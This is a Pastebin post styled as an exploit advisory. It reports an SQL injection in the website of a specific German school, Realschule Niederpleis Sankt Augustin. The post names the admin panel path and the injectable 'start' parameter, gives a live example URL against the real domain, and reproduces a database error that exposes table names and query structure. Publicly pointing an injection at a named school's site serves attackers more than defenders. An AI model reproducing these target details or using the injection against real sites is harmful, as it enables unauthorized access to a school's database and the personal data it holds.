KingSkrupellos

Realschule Niederpleis Sankt Augustin SQL Injection

Aug 22nd, 2019
227
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.10 KB | None | 0 0
  1. ###################################################################
  2.  
  3. # Exploit Title : Realschule Niederpleis Sankt Augustin SQL Injection
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 23/08/2019
  7. # Vendor Homepage : realschule-niederpleis-sankt-augustin.de
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  12. Special Elements used in an SQL Command ('SQL Injection') ]
  13. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  14. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  15. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  16.  
  17. ###################################################################
  18.  
  19. # Impact :
  20. ***********
  21. Realschule Niederpleis Sankt Augustin is prone to an SQL-injection vulnerability because
  22. it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
  23. Exploiting this issue could allow an attacker to compromise the application, access or
  24. modify data, or exploit latent vulnerabilities in the underlying database.
  25. A remote attacker can send a specially crafted request to the vulnerable application and
  26. execute arbitrary SQL commands in application`s database. Further exploitation of this
  27. vulnerability may result in unauthorized data manipulation.
  28. An attacker can exploit this issue using a browser or with any SQL Injector Tool.
  29.  
  30. ###################################################################
  31.  
  32. # Admin Panel Login Path :
  33. **************************
  34. /administrator/
  35.  
  36. # SQL Injection Exploit :
  37. **********************
  38. /index.php/news-2?allcomments=1&categoryid=[ID-NUMBER]?format=feed&format=feed&start=[SQL Injection]
  39.  
  40. /index.php/news-2?allcomments=1&categoryid=86?format=feed&format=feed&start=[SQL Injection]
  41.  
  42. ###################################################################
  43.  
  44. # Example Vulnerable Sites :
  45. *************************
  46. [+] realschule-niederpleis-sankt-augustin.de/index.php/news-2?allcomments=1&categoryid=86?format=feed&format=feed&start=1%27
  47.  
  48. ###################################################################
  49.  
  50. # Example SQL Database Error :
  51. ****************************
  52. You have an error in your SQL syntax; check the manual that corresponds to your
  53. MariaDB server version for the right syntax to use near 'AND c.state=1 AND
  54. ( c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <= ' at line 3 SQL=
  55. SELECT c.* , u.username, u.name, u.id as userid , cat.title as categorytitle FROM
  56. wvjlh_content as c, wvjlh_users as u, wvjlh_categories as cat WHERE AND
  57. c.state=1 AND ( c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <=
  58. '2019-08-22 17:33:58' ) AND ( c.publish_down = '0000-00-00 00:00:00' OR
  59. c.publish_down >= '2019-08-22 17:33:58' ) AND c.created_by=u.id AND
  60. c.catid=cat.id AND c.access IN (1,1) AND c.catid=cat.id ORDER BY
  61. c.publish_up DESC LIMIT 1, 5
  62.  
  63. ###################################################################
  64.  
  65. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  66.  
  67. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment